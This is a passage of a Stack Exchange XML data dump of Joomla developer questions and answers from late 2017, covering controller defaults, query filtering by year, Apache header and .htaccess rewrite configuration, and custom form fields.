  <row Id="21818" PostTypeId="1" AcceptedAnswerId="21822" CreationDate="2017-10-31T01:43:36.330" Score="1" ViewCount="72" Body="&lt;p&gt;Something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::Register('MyComHelperConfig', JPATH_COMPONENT_ADMINISTRATOR . '/helpers/config.php');&#xA;&#xA;class MyComController extends JControllerLegacy&#xA;{&#xA;    protected $default_view = MyComHelperConfig::getDefaultView();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I gather that this may involve writing method overrides over the base class. What would be the simplest way to do it?&lt;/p&gt;&#xA;" OwnerUserId="11490" LastActivityDate="2017-11-01T13:11:27.460" Title="How can I have a dynamic $default_view?" Tags="|view|controller|default|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21819" PostTypeId="1" CreationDate="2017-10-31T08:46:23.930" Score="0" ViewCount="52" Body="&lt;p&gt;Hi this is most a request for help and advice than a question. I hope this is fine with the policies of this site as I think the answers can be useful for more users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I developed a custom component for micro credits. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Users can request a loan and the administrator can grant or reject the loan. It is very complex with all the business flows, interest calculations, past due, emails and SMS notifications and lot more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have developed 3 areas so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The public front-end   &lt;/li&gt;&#xA;&lt;li&gt;A front end private area for customers where&#xA;they can see their info, manage their loans, payments and so on.&lt;/li&gt;&#xA;&lt;li&gt;Backend for super user where they can do everything: approved- reject&#xA;loans, send bank transfers and much more. (Joomla backend)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I have to develop a new area for employees. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There would be at least two kind of employees, one group can receive customer call, check documentation and pre-approve loans. And the second one can confirm the pre-approved loans and send the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What would be the best approach to build the employees area: Frontend or backend?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I go for backend:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will mainly have to work on the already built administration screens, working on define a profile inside Joomla administration that only allow employees to work in this component. &#xA;Inside the component I will have to work on filtering the information according the user logged and the actions and views according to their profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will have all the basic joomla backend screen features and the screens are already done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If I go for frontend:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be more professional as the admin screens will have the web site look and fell and not joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will have to create most of the screens again and I won’t have all the joomla backend help like toolbar, grid, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final result, I think would be better, but It would be lot more work to do.&#xA;Also, an admin frontend template would be great to have. Do you know one I can use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your thought and recommendations on this subject.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2017-12-30T20:02:37.780" Title="Advice on a manager/employee area" Tags="|development|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21820" PostTypeId="2" ParentId="10860" CreationDate="2017-10-31T12:22:02.877" Score="1" Body="&lt;p&gt;Not sure why this was bumped to the homepage. In any case, there's a plugin called Joomla Override that allows you to override the core, which is, from our experience, an unstable plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best solution is to overwrite core files and keep a record of all your overwrites.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-10-31T12:22:02.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21821" PostTypeId="2" ParentId="21819" CreationDate="2017-10-31T19:20:54.427" Score="1" Body="&lt;p&gt;Generally I would decide based on what's going to give the employees the best UI experience (which method will make their jobs the easiest). For that reason I'd lean towards using a front-end. As you say, you'd lose some of the tools but gain freedom in terms of template and UI/usability.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-31T19:20:54.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21822" PostTypeId="2" ParentId="21818" CreationDate="2017-10-31T19:29:37.970" Score="3" Body="&lt;p&gt;You can't set a class property to a dynamic value, such as a method call, during declaration like you're attempting. See &lt;a href=&quot;http://php.net/manual/en/language.oop5.properties.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/language.oop5.properties.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would need to set it in your constructor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::Register('MyComHelperConfig', JPATH_COMPONENT_ADMINISTRATOR . '/helpers/config.php');&#xA;&#xA;class MyComController extends JControllerLegacy&#xA;{&#xA;    protected $default_view = NULL;&#xA;&#xA;    public function __construct($properties)&#xA;    {&#xA;        $this-&amp;gt;default_view = MyComHelperConfig::getDefaultView();&#xA;&#xA;        parent::__construct($properties);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;FYI, setting the property to NULL explicitly is not required. I set it out of habit. You could leave it out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    protected $default_view; // same as &quot;protected $default_view = NULL;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-11-01T13:11:27.460" LastActivityDate="2017-11-01T13:11:27.460" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21823" PostTypeId="1" AcceptedAnswerId="21824" CreationDate="2017-11-01T02:16:18.713" Score="2" ViewCount="1949" Body="&lt;p&gt;How do I remove the install &quot;Sample Data&quot; dialogue box in the Joomla control panel and permanently disable this option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Joomla! 3.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Pz3t1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Pz3t1.png&quot; alt=&quot;Sample Data Dialogue Box&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27" LastActivityDate="2017-11-04T06:15:24.483" Title="How do I remove the install &quot;Sample Data&quot; dialogue box and permanently disable this option?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21824" PostTypeId="2" ParentId="21823" CreationDate="2017-11-01T08:19:39.553" Score="4" Body="&lt;p&gt;&lt;strong&gt;&quot;Sample Data&quot; Module vs. &quot;Sample Data - Blog&quot; Plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Sample Data&quot; window is a module (the box that shows the information) and &quot;Sample Data - Blog&quot; is a plugin, shown in the &quot;Sample Data&quot; module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 1: Hiding the Sample Data Module in the Admin Panel&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This module takes up prime real-state in the Joomla admin panel and there's no point showing it if you are never going to use it (e.g. your site is already live or in production).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just go to Extensions -&gt; Modules, switch dropdown to &quot;administrator&quot; instead of &quot;site&quot;, search for Sample Data unpublish this module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This hides the module from view in the administrator panel, and the &quot;Sample Data module resides as 'Trashed,' but it is not permanently deleted as modules&quot; can be restored from 'unpublished' status.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;STEP 2: Unistalling the Sample Data - Blog plugin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of the Sample Data - Blog plugin, the issue is that'Trash' or 'Uninstall' plugins in the Plugin Manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To 'uninstall' the Sample Data - Blog plugin go to Extensions -&gt; Manage -&gt; --&gt; Manage(yes again), and then'll you have an 'uninstall' option. Search for 'Sample Data - Blog,' uninstall, and it's permanently gone from your Joomla site.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="27" LastEditDate="2017-11-04T06:15:24.483" LastActivityDate="2017-11-04T06:15:24.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21825" PostTypeId="1" AcceptedAnswerId="21827" CreationDate="2017-11-01T16:37:08.893" Score="1" ViewCount="487" Body="&lt;p&gt;I am trying to convert a small php script to a component for Joomla, So far it is working well. But I would like to make some adjustments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The view shows data in a table of numbers from specific dates over the last 10 years. &#xA;I have added the column sort to allow sorting of certain columns but wonder if there is a method that allows selection of specific years by default? I would like it to show the current year and then have a drop down list to select prior years as the original script did. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the query in my model, any suggestions on how to achieve this would be appreciated&#xA;Steve&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db    = $this-&amp;gt;getDbo();&#xA;        $query = $db-&amp;gt;getQuery(true);&#xA;&#xA;        // Select the required fields from the table.&#xA;        $query&#xA;            -&amp;gt;select(&#xA;                $this-&amp;gt;getState(&#xA;                    'list.select', 'DISTINCT a.*'&#xA;                )&#xA;            );&#xA;&#xA;        $query-&amp;gt;from('`#__fts` AS a');&#xA;&#xA;        // Join over the users for the checked out user.&#xA;        $query-&amp;gt;select('uc.name AS uEditor');&#xA;        $query-&amp;gt;join('LEFT', '#__users AS uc ON uc.id=a.checked_out');&#xA;&#xA;        // Join over the created by field 'created_by'&#xA;        $query-&amp;gt;join('LEFT', '#__users AS created_by ON created_by.id = a.created_by');&#xA;&#xA;        if (!JFactory::getUser()-&amp;gt;authorise('core.edit', 'com_fts'))&#xA;        {&#xA;            $query-&amp;gt;where('a.state = 1');&#xA;        }&#xA;&#xA;        // Filter by search in title&#xA;        $search = $this-&amp;gt;getState('filter.search');&#xA;&#xA;        if (!empty($search))&#xA;        {&#xA;            if (stripos($search, 'id:') === 0)&#xA;            {&#xA;                $query-&amp;gt;where('a.id = ' . (int) substr($search, 3));&#xA;            }&#xA;            else&#xA;            {&#xA;                $search = $db-&amp;gt;Quote('%' . $db-&amp;gt;escape($search, true) . '%');&#xA;            }&#xA;        }&#xA;&#xA;&#xA;        // Add the list ordering clause.&#xA;        $orderCol  = $this-&amp;gt;state-&amp;gt;get('list.ordering');&#xA;        $orderDirn = $this-&amp;gt;state-&amp;gt;get('list.direction');&#xA;&#xA;        if ($orderCol &amp;amp;&amp;amp; $orderDirn)&#xA;        {&#xA;            $query-&amp;gt;order($db-&amp;gt;escape($orderCol . ' ' . $orderDirn));&#xA;        }&#xA;&#xA;        return $query;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11698" LastActivityDate="2017-11-02T12:46:25.467" Title="Database query to select a specific year" Tags="|joomla-3.x|php|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21826" PostTypeId="1" AcceptedAnswerId="21832" CreationDate="2017-11-01T22:28:48.473" Score="0" ViewCount="230" Body="&lt;p&gt;I'm running CentOS 7.4 with PHP 5.4.16 and Server version: 5.6.38 MySQL Community Server (GPL). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put a fresh installation of Joomla 3.8.1 and I can't add a menu, the menu types it displays in the pop-up dialogue are all blank. When I go to the media to view the graphic files, none of them are shown. Very odd problem. If I right-click and open the media files list in another window, I can then see them. I've tried this on different web browsers and different workstations Mac and Windows, same problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just guessing, could this be some sort of ACL thing where it isn't permitting admin to have access? Sounds odd, but I don't know if that could be a problem.&lt;/p&gt;&#xA;" OwnerUserId="3943" LastActivityDate="2017-11-03T12:10:32.897" Title="Joomla 3.8.1 - Can't add menu or view Media files" Tags="|joomla-3.x|acl|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21827" PostTypeId="2" ParentId="21825" CreationDate="2017-11-02T03:19:35.747" Score="1" Body="&lt;p&gt;You can get the data directly from the request, setting the current year as the default value:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication();&#xA;$year = (int) $app-&amp;gt;input-&amp;gt;getInt( 'yearInput' , date('Y') );&#xA;$query-&amp;gt;where( 'a.yearColumn = ' . $year );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you can use the &lt;code&gt;$this-&amp;gt;state-&amp;gt;getState();&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$year = $this-&amp;gt;state-&amp;gt;getState('filter.year');&#xA;$query-&amp;gt;where( 'a.yearColumn = ' . $year );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do you make sure &lt;code&gt;filter.year&lt;/code&gt; is populated? If your model class extends &lt;code&gt;JModelList&lt;/code&gt; then you can override &lt;code&gt;populateState()&lt;/code&gt; to populate &lt;code&gt;filter.year&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = 'ordering', $direction = 'ASC')&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;&#xA;    $value = (int) $app-&amp;gt;input-&amp;gt;getInt('yearInput', date('Y'));&#xA;    $this-&amp;gt;setState('filter.year', $value);&#xA;&#xA;    // Set additional state variables or call parent::populateState($ordering, $direction)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;populateState()&lt;/code&gt; will be called the first time you use &lt;code&gt;$this-&amp;gt;getState()&lt;/code&gt; so there is no need to call it explicitly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone can correct me if I'm wrong but I believe that if you set the field name of your input field to &lt;code&gt;filter.year&lt;/code&gt; then you wont even need to override &lt;code&gt;populateState()&lt;/code&gt;, as it'll be populated automatically. In that case you can simply call &lt;code&gt;$year = (int) $this-&amp;gt;getState('filter.year', date('Y'));&lt;/code&gt;. You would need to make sure $this-&gt;context is truthy before the first &lt;code&gt;$this-&amp;gt;getState()&lt;/code&gt; is called (else no state will be populated except for &lt;code&gt;list.start&lt;/code&gt; and &lt;code&gt;list.limit&lt;/code&gt; and they'll both be set to &lt;code&gt;0&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the internals of &lt;code&gt;JModelList&lt;/code&gt; (aka &lt;code&gt;ListModel&lt;/code&gt;) see &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/MVC/Model/ListModel.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/MVC/Model/ListModel.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9459" LastEditorUserId="9459" LastEditDate="2017-11-02T12:46:25.467" LastActivityDate="2017-11-02T12:46:25.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21828" PostTypeId="1" CreationDate="2017-11-02T08:31:14.780" Score="1" ViewCount="138" Body="&lt;p&gt;I have developed a multi-language site, all necessary steps are taken in regard with plugins, menuitems and its associations, modules etc.&lt;br&gt;&#xA;The language-switcher module works perfectly, but yet, when I login in French language, I am redirected to English part and this is while I already fixed redirect files in both French and English mods.&lt;br&gt;&#xA;The same with login menuitems, also French and English login mods appear only on French and English pages.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem?&lt;br&gt;&#xA;&lt;sub&gt;Joomla version is 3.8.1&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="9591" LastEditorUserId="126" LastEditDate="2017-12-09T10:15:54.863" LastActivityDate="2023-12-09T00:09:41.127" Title="Redirect problem in multi-lang site" Tags="|joomla-3.x|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21829" PostTypeId="1" AcceptedAnswerId="21831" CreationDate="2017-11-02T10:17:31.993" Score="1" ViewCount="113" Body="&lt;p&gt;I am having a weird problem. I am trying to do a check if the requested url is the same as the &lt;code&gt;$item-&amp;gt;link&lt;/code&gt;. I know they aren't the same, so I am trying to by exploding the two. I have the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request_URL = JUri::getInstance();&#xA;$request_URL = explode(&quot;/&quot;, $request_URL, 4);&#xA;&#xA;$link = $item-&amp;gt;link;&#xA;$link = explode(&quot;/&quot;, $link, 2);&#xA;$link = array_map('trim',array_filter(explode(',',$link[1])));&#xA;&#xA;$request_URL = array_map('trim',array_filter(explode(',',$request_URL[3])));&#xA;&#xA;var_dump($request_URL);&#xA;var_dump($link);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array(1) { [0]=&amp;gt; string(29) &quot;nieuws?view=archive&amp;amp;year=2017&quot; } &#xA;array(1) { [0]=&amp;gt; string(33) &quot;nieuws?view=archive&amp;amp;year=2017&quot; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is very weird, because it says that the first one has 29 characters and the second one 33, while they look exactly the same?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know what this could be?&lt;/p&gt;&#xA;" OwnerUserId="11727" LastEditorUserId="1520" LastEditDate="2017-11-02T17:56:05.983" LastActivityDate="2017-11-02T17:56:05.983" Title="My JUri::getInstance() Doesn't match my $item-&gt;link" Tags="|joomla-3.x|php|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21830" PostTypeId="1" CreationDate="2017-11-02T11:25:11.560" Score="1" ViewCount="226" Body="&lt;p&gt;Is there any plugin for restrict number of successful frontend logins per user? I looked around but without success, and have no idea how to achieve that on the other way. Any advice? Joomla is 3.8.1&lt;/p&gt;&#xA;" OwnerUserId="11206" LastActivityDate="2018-11-29T22:45:27.147" Title="How to restrict number of successful frontend logins per user" Tags="|login|front-end|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21831" PostTypeId="2" ParentId="21829" CreationDate="2017-11-02T12:07:07.167" Score="3" Body="&lt;p&gt;I assume the first one has just the character &lt;code&gt;&amp;amp;&lt;/code&gt;, and the second one the encoded version &lt;code&gt;&amp;amp;amp;&lt;/code&gt;.   Both will display to screen as an ampersand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Updating the following line to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$request_URL = array_map('trim',array_filter(explode(',',htmlspecialchars($request_URL[3]))));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should illustrate this.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-11-02T12:07:07.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21832" PostTypeId="2" ParentId="21826" CreationDate="2017-11-02T15:34:11.530" Score="1" Body="&lt;p&gt;This turned out to be an issue with Apache's configuration files. The solution was to edit this file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/etc/httpd/conf.d/ssl.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header always set X-Frame-Options DENY&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Header always set X-Frame-Options SAMEORIGIN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then restart the httpd server with these two Linux commands:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;systemctl stop httpd&#xA;systemctl start httpd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3943" LastEditorUserId="3943" LastEditDate="2017-11-03T12:10:32.897" LastActivityDate="2017-11-03T12:10:32.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21833" PostTypeId="2" ParentId="21830" CreationDate="2017-11-02T17:19:00.587" Score="1" Body="&lt;p&gt;if &lt;em&gt;&quot;restrict number of successful frontend logins per user&quot;&lt;/em&gt; is one per user, then &lt;strong&gt;Login One!&lt;/strong&gt; might be what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more logins &gt;1 then you 'll probably need the Business edition&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://extensions.joomla.org/extension/login-one/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/login-one/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2017-11-07T09:50:08.577" LastActivityDate="2017-11-07T09:50:08.577" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21834" PostTypeId="1" CreationDate="2017-11-02T21:42:16.510" Score="-1" ViewCount="467" Body="&lt;p&gt;I am trying to set Chinese URLs for my Joomla site. However, I can't just put Chinese characters in the &quot;alias&quot;; I've also tried putting in url-encoded utf8 characters like &lt;code&gt;%E7%9A%84&lt;/code&gt;, but it will be converted to something like &lt;code&gt;e7-9a-84&lt;/code&gt;. So does Joomla 3.8.1 officially support utf8 characters in URL? Or do I have to find some extension(I have heard &quot;sh404SEF&quot; is good but it is not free and most of its functions are not very useful for me)?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2017-12-08T00:11:53.587" Title="How to put utf8 characters in alias?" Tags="|joomla-3.x|url|sef|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21835" PostTypeId="1" AcceptedAnswerId="21836" CreationDate="2017-11-03T10:31:01.887" Score="1" ViewCount="585" Body="&lt;p&gt;I am having a struggle trying to get my .htaccess to remove all underscores from an url. I have a lot of old aliases in my articles and they are all with underscores. I have searched for a sollution, but couldnt find any. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/nl/nieuws/artikel/Article_name_underscores/999&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/nl/nieuws/artikel/Article_name_underscores/999&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/nl/nieuws/artikel/article_name_with_underscores/999&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/nl/nieuws/artikel/article_name_with_underscores/999&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/nl/nieuws/artikel/article_name_with_More_underscores/999&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/nl/nieuws/artikel/article_name_with_More_underscores/999&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I am trying to get:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/nieuws/article-name-with-underscore&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/nieuws/article-name-with-underscore&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/nieuws/article-name-with-more-underscore&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/nieuws/article-name-with-more-underscore&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://mysite.com/nieuws/article-name-with-even-more-underscore&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mysite.com/nieuws/article-name-with-even-more-underscore&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see I need to &lt;strong&gt;replace the underscore with hyphens&lt;/strong&gt; and get it &lt;strong&gt;into lowercase&lt;/strong&gt;, but &lt;strong&gt;the aliases are between 1 and 14 underscores&lt;/strong&gt;. Now I've created the following rewrite rules:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^nieuws/artikel/([^_]*)_([^_]*)_([^_]*)/([^_]*)$ http://mysite.com/nieuws/${lc:$1}-${lc:$2}-${lc:$3} [R=301,L]&#xA;RewriteRule ^nieuws/artikel/([^_]*)_([^_]*)_([^_]*)_([^_]*)/([^_]*)$ http://mysite.com/nieuws/${lc:$1}-${lc:$2}-${lc:$3}-${lc:$4} [R=301,L]&#xA;RewriteRule ^nieuws/artikel/([^_]*)_([^_]*)_([^_]*)_([^_]*)_([^_]*)/([^_]*)$ http://mysite.com/nieuws/${lc:$1}-${lc:$2}-${lc:$3}-${lc:$4}-${lc:$5} [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the RewriteMap on the virtualhost ofcourse&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteMap lc int:tolower &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I get this dynamicly with efficient code to catch all alias between unlimited amounts of underscores?&lt;/p&gt;&#xA;" OwnerUserId="11727" LastEditorUserId="11727" LastEditDate="2017-11-03T15:11:47.057" LastActivityDate="2017-11-06T09:37:15.570" Title=".htacces replace all underscores with hyphens" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21836" PostTypeId="2" ParentId="21835" CreationDate="2017-11-03T12:51:46.027" Score="0" Body="&lt;p&gt;This isn't the cleanest way, but it works.  Because of the [L] in it for Last rule, it won't be a redirect loop because it exits once applied:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Four underscores&#xA;RewriteCond %{REQUEST_URI} (.*)_(.*)_(.*)_(.*)_(.*)$&#xA;RewriteRule ^(.*)_(.*)_(.*)_(.*)_(.*)$ /$1-$2-$3-$4-$5 [L,R=301]&#xA;&#xA;# Three underscores&#xA;RewriteCond %{REQUEST_URI} (.*)_(.*)_(.*)_(.*)$&#xA;RewriteRule ^(.*)_(.*)_(.*)_(.*)$ /$1-$2-$3-$4 [L,R=301]&#xA;&#xA;# Two underscores&#xA;RewriteCond %{REQUEST_URI} (.*)_(.*)_(.*)$&#xA;RewriteRule ^(.*)_(.*)_(.*)$ /$1-$2-$3 [L,R=301]&#xA;&#xA;# One underscore&#xA;RewriteCond %{REQUEST_URI} (.*)_(.*)$&#xA;RewriteRule ^(.*)_(.*)$ /$1-$2 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastActivityDate="2017-11-03T12:51:46.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21837" PostTypeId="2" ParentId="21806" CreationDate="2017-11-03T20:27:39.753" Score="0" Body="&lt;p&gt;In the frontend, FieldsHelper::prepareForm is run twice - a pull request has been issued to resolve this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should be resolved in 3.8.2 if the pull request is accepted and merged.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/18211&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/18211&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-11-03T20:27:39.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21838" PostTypeId="1" CreationDate="2017-11-04T11:21:06.997" Score="1" ViewCount="763" Body="&lt;p&gt;I 've created a custom form field type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class JFormFieldCategories extends JFormFieldList &#xA;{&#xA;&#xA;protected $type = 'categories';&#xA;&#xA;public function getOptions() &#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $categories=array();&#xA;&#xA;    $sql = &quot;select * from #__table&quot;;&#xA;    $db-&amp;gt;setQuery( $sql );&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;    if(count($results)&amp;gt;0)&#xA;    {&#xA;        foreach($results as $resc){&#xA;            $options[$resc-&amp;gt;id] = $resc-&amp;gt;description;&#xA;        }&#xA;    }&#xA;&#xA;$options = array_merge(parent::getOptions(), $options);&#xA;            return $options;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added the field to the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;discount_on_categories&quot; type=&quot;categories&quot; multiple=&quot;true&quot; size=&quot;40&quot;  /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is a multiple select value. What shall i do to save the selected values to the database and show them when i edit the item?&lt;/p&gt;&#xA;" OwnerUserId="7246" LastEditorUserId="2324" 